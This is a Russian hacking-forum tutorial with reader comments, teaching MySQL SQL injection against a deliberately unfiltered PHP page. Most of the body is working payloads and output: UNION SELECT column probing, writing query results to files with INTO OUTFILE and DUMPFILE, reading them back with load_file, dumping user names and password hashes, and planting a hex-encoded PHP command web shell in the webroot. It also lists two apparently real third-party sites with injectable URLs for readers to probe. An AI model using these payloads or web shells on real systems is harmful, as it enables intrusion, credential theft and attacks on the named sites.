В гостях у админа. Ищем нестандартные лазейки. — HackZona.Ru

В гостях у админа. Ищем нестандартные лазейки.

В гостях у админа. Ищем нестандартные лазейки.

Тип статьи:
Со старой ХакЗоны.
Источник:
Привет всем! Сегодня я хочу поделиться с вами небольшими хитростями при проведении SQL инъекций. Делать будем всё сами, ручками. Что нам понадобится?!

[*]Apache Server
[*]Установленный PHP
[*]MySQL Server
[*]phpMyAdmin
[*]Ну и естественно прямые руки, куда же без них?!

Ну, можно начинать я полагаю. Ну, теперь будем создавать свой мего-сайтенг, его то мы и будем ломать. Создаём новый домен test.ru у себя на локалхосте. Создаём 2 файлика, один index.html, другой users.php. Содержимое index.html:

-----------------------------------------------------------------------------------------------------
<_html_>
<_head_>
<_title_>Мего-сайтенГГ<_/title_>
<_/head_>
<_body_>
<_center_><h1_> Мего-сайтенГГ</h1_></center_>

<_a href='http://test.ru/users.php?id=1'>Участники 1<_/a>
// думаю тут
всё ясно, мы переходим по линку, скрипту news.php передаётся параметр id,
который в свою очередь будет первичным ключом (идентификатор)
для вывода информации о нужном нам юзере из базы данных
---------------

<_a href='http://test.ru/users.php?id=2'>Участники 2<_/a>
// аналогично,
выводим пользователя с идентификатором равным двум
---------------

<_a href='http://test.ru/users.php?id=3'>Участники 3<_/a>
// надеюсь тут
сами разберётесь xDD
<_/body_>
<_/html_>
-----------------------------------------------------------------------------------------------------

Страница набросана для наглядности, ведь нам важен сам принцип, а не эстетические соображения! Содержимое users.php:

-----------------------------------------------------------------------------------------------------
<?php
mysql_connect('localhost','root','');
mysql_select_db('dvwa');
$id=$_GET[«id»];
$sql = «SELECT first_name,user,password FROM users where user_id=».$id;
$result = MySQL_QUERY($sql);
echo mysql_error();
while($us = MySQL_FETCH_ARRAY($result))
{
echo $us['first_name'].":".$us['user'].":".$us['password'];echo "
";
}
?>
-----------------------------------------------------------------------------------------------------

Скрипт так же накидал для наглядности на примере своей БД. Вкратце, опишу принцип действия, скрипт делает выборку из БД, из таблицы users по заданному id. Ну что ж, всё необходимое у нас есть, приступаем. Заходим на индэкс нашего сайта test.ru, чекаем по любой из линок. Видим наш запросик в адресной строке: _ttp://test.ru/users.php?id=1. Идём дальше. Банальные скули, мы сегодня рассматривать не будем. Рассмотрим следующую ситуацию, иногда бывает, что количество столбцов в основном запросе и не основном не совпадает, в результате чего мы лишаемся, возможности лицезреть вывод, так как при попытке объединить запросы оператором union+select мускул выдаёт соответствующую ошибку: MySQL ERROR: The used SELECT statements have a different number of columns. Казалось бы, очень печальное стечение обстоятельств, вроде и скулю на руках имеем, а ничего толкового сделать не можем, но это только на первый взгляд, давайте осмотримся и подумаем. При определённых условиях вывод получить тут не так уж и сложно. Ну, давайте, пожалуй, с самого начала. Первое что приходит на ум это blind SQL, да блайнд прокатит и благо есть проги для автоматизации процесса посимвольного перебора, но опять же при больших объёмах БД это займёт уйму времени, которого нам и без того постоянно не хватает. Да и потом если на сервере стоит ограничение на количество запросов с одного IP адреса?! Идея дальнейшего исследования: а что если сделать вывод в файл?! Да идея не плоха, но опять же нужно соблюдение некоторых условий, а конкретно:

File_priv = Y
magic_quotes_gpc = Off

Если у вас magic_quotes_gpc установлено значение On, то бегом бежим и правим php.ini. Ну, теперь у нас есть всё необходимое, приступаем.

_ttp://test.ru/users.php?id=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

На лицо инъекция, что не удивительно, ведь мы в скрипте ничего не фильтровали. Подберём количество полей. Сделаем это одним запросом, способом предложенным Iceangel_:

_ttp://test.ru/users.php?id=1 order by 1,2,3,4,5,6,7,8,9

Unknown column '4' in 'order clause'
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

Делаем вывод, что полей 3. Ну и объединяем соответственно запросы:

_ttp://test.ru/users.php?id=-1 union select 1,2,3

Видим принтабельные поля: 1:2:3. О них можно забыть :) учитываю ситуацию, которую мы обыгрываем. Давайте-ка лучше сделаем вывод в файл. Тут сразу возникает вопрос, где же взять папку доступную на запись?! В принципе пути у нас есть и не составит труда методом научного тыка найти нужную нам, но ведь может и так оказаться, что не одна из них не окажется доступной на запись, поэтому вспоминаем про /tmp диру (дира для хранения временных файлов), так как чаще всего она доступна на запись, бывает, конечно же, и наоборот, но это редкость. Принцип ясен, действуем:

_ttp://test.ru/users.php?id=-1 union select 1,version(),3 into outfile '/tmp/lol.txt'

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

Ошибку видим, но запрос выполнился, кстати, чуть не забыл, принтабельные нам в данной ситуации не нужны вовсе, так как в файло записываются все поля. Теперь считываем вывод:

_ttp://test.ru/users.php?id=-1 union select load_file('/tmp/lol.txt'),2,3

1 5.0.45-community-nt 3 :2:3 пятая ветка, думаю сам принцип ясен, кстати при наличии таких условий залить шелл, как 2 пальца об асфальт! Что нам мешает найти диру доступную на запись и залить туда полноценный шелл?! Давайте попробуем:

_ttp://test.ru/users.php?id=-1 union select '<?php system($_GET['cmd']); ?>',2,3 into dumpfile 'Z:/home/test.ru/www/shell.php'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '']); ?>',2,3 into dumpfile 'Z:/home/test.ru/www/shell.php'' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

Ошибка, но не смертельно :) Захексим: <?php system($_GET['cmd']); ?> и получаем: 0x3c3f7068702073797374656d28245f4745545b5c27636d645c275d293b203f3e. Составляем запрос:

_ttp://test.ru/users.php?id=-1 union select 0x3c3f7068702073797374656d28245f4745545b5c27636d645c275d293b203f3e,2,3 into dumpfile 'Z:/home/test.ru/www/shell.php'

Всё наш шелл залился, юзаем на здоровье:

_ttp://test.ru/shell.php?cmd=dir

Видим листинг папки, всё прошло на ура. Реальный пример с такого рода проблемой:

_ttp://spotters.net.ua/file/?id=5'

MySQL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
SQL: select *, COALESCE(rating, 2.0, rating) + Views*0.001 as WeightedRating from files where ID=5'

_ttp://www.scilib.debryansk.ru/project.php?id=920'

ERROR=>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
SELECT * FROM particle where particleid=920'

Кому будет интересно, покопает на досуге. Сразу видно из вывода об ошибке, что в обоих случаях magic_quotes_gpc = ON, что не позволит нам сделать вывод в файл, примеры привел чисто для наглядности, чтобы представляли, как обстоит ситуация. Следующий вопрос, который мы обсудим, какую же конструкцию лучше использовать при выводе в файл INTO OUTFILE или всё же INTO DUMP FILE. Посоветовавшись со Scipio по данному вопросу (он порекомендовал мне использовать конструкцию INTO DUMPFILE, аргументируя это тем, что данная конструкция нужна для того, чтобы убрать конфликт win и *nix), я решил, что всё же лучше использовать для этих целей INTO DUMPFILE, но в процессе тестирования на локалхосте я столкнулся некоторой проблемой при использовании этой конструкции. INTO DUMPFILE не позволяет выводить в файл более чем одну запись, иначе мускул начинает ругаться и как итог файл вообще не создаётся в дире. Немного поясню. В нашем случае такой запрос не прокатит:

_ttp://test.ru/users.php?id=1 union select 1,2,concat_ws(0x3a3a3a,user,password) from dvwa.users INTO DUMPFILE '/tmp/1.txt'

Result consisted of more than one row
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

Зато такой запрос проскочит на ура:

_ttp://test.ru/users.php?id=1 union select 1,2,concat_ws(0x3a3a3a,user,password) from dvwa.users LIMIT 1 OFFSET 1 INTO DUMPFILE '/tmp/1.txt'

Глянем, что у нас там получилось:

_ttp://test.ru/users.php?id=-1 union select load_file('/tmp/1.txt'),2,3

12admin:5f4dcc3b5aa765d61d8327deb882cf99:2:3

Мда не густо, тут то нам и поможет конструкция INTO OUTFILE, она в отличии от предыдущей сделает вывод всех записей по которым осуществляем выборку, из нужной нам таблички! Делаем выводы господа, что обе конструкции хороши и имеют определённо свои плюсы, так что советую их использовать в зависимости от ситуации, естественно, если речь не идёт о конфликте между win и *nix, то предпочтительно использовать INTO OUTFILE.

С вами был fraIzer. Надеюсь, ты нашел в моей статье, что-то полезное для себя и не потратил время зря Всем желаю удачи и творческих успехов.

See yet

P.S. данная статья изначально подразумевается, как часть серии статей посвященных небольшим хитростям и тонкостям ремесла вэб-хакера. Посмотрю на ваши комментарии и уже решу, стоит ли продолжать, возможно дело того не стоит, а может и наоборот, в общем оставляйте побольше комментариев, буду рад конструктивной критике.

© fraIzer from GR TeaM

Нравится
Не нравится

21 комментарий

09:55
сильно.
как удар по яйцам всем неверным =)
10:15
Я читала статью у тебя в блоге и мне понравилось)
Но коммент там не получилось оставить, зависло.
14:01
Кхе кхе кто то 2 бала поставил :)
19:30
Я это знал, но забыл, потому тогда и не ответил.... а так клева))))
17:24
Отличная информация! Репа!
08:34
Kerny, эта статья была так скажем для разогрева, на самом деле это не единственный способ обхода данной ситуации, в следующей статье серии опишу обязательно, но с временем свободным в последнее время ваще ТУГО, буквально поспать некогда... И ещё вот ты говоришь знаю, бла бла и т.д. и т.п., тут дело не в том, что ты знаешь определенную заученную конструкцию и т.д., важно ориентироваться в ситуации, а для этого необходимо, чтобы мозг работал не по стандарту, просто крутить скули с "идеальными" условиями каждый может начитавшись манов, а чуть отхождение от правил и садятся в лужу, а все почему?! Да потому, что нет элементарного понимания принципа и т.д., люди заучивают, а мозг включать забывают, именно серией этих статей я и хочу научить народ думать, а не страдать хе*нёй... вот как то так) кароч погнал дальше работать)
13:47
довай фрайз.
буш моим гуру
08:06
Ос сенсей как скажите xDD
22:08
я понимаю fraIzer, в реальных условиях такие скули встречаются жесткие... и не только скули, насчет не стандарта ты прав.
14:36
Я это конечно знал, но всё равно, повторение-мать учения ;)
04:34
В таком случае знаток может раскроешь тему? Так как способов больше чем описано в статье...
09:44
Как круто быть опытным хакером! я буду обязательно на него учится мне нравица!
17:26
МДА... То, что подобные статьи имеют на себя перманентный линк на главной говорит о нынешнем "уровне" хакзоны. ТС, ничего, что всё это размусоливают тысячи раз в сотнях статей уже годами?
Ничего личного, но статья - наибородатейший баян, к тому же в плохом изложении.
07:17
О каком уровне ты говоришь? Самому не смешно?... да и потом, что ты тут делаешь в таком случае? Чем изложение не устроило? Зачем цену набиваешь себе? Ничего личного, но не бери на себя много, ок? :)
17:43
Крута!!! fraIzer всё отлично...
20:22
Ну ты и кухню тут завёл) Напиши дальше) Только без размазьни для чайников, а то пока дочитаешь до конца, прослезиться можно) ок?) ничего личного =)
20:28
у тебя написано для LOCALHOST, напиши для подключения к серверу (не к себе), не зная пароля! вот это конечно вообще круто будет
21:53
ti nekotirie vesi pokonkretnei obiasniiai na to na slovah lehko (
03:31
мне понравилось напиши ещё
17:00
Клева.Спасибо за поучительный урок!
05:36
DA A KAK UZNAT PAS KOTORYI LEJIT V CONFIG $passw = ['pas'] if es elne nou tobish if verno else na str ernr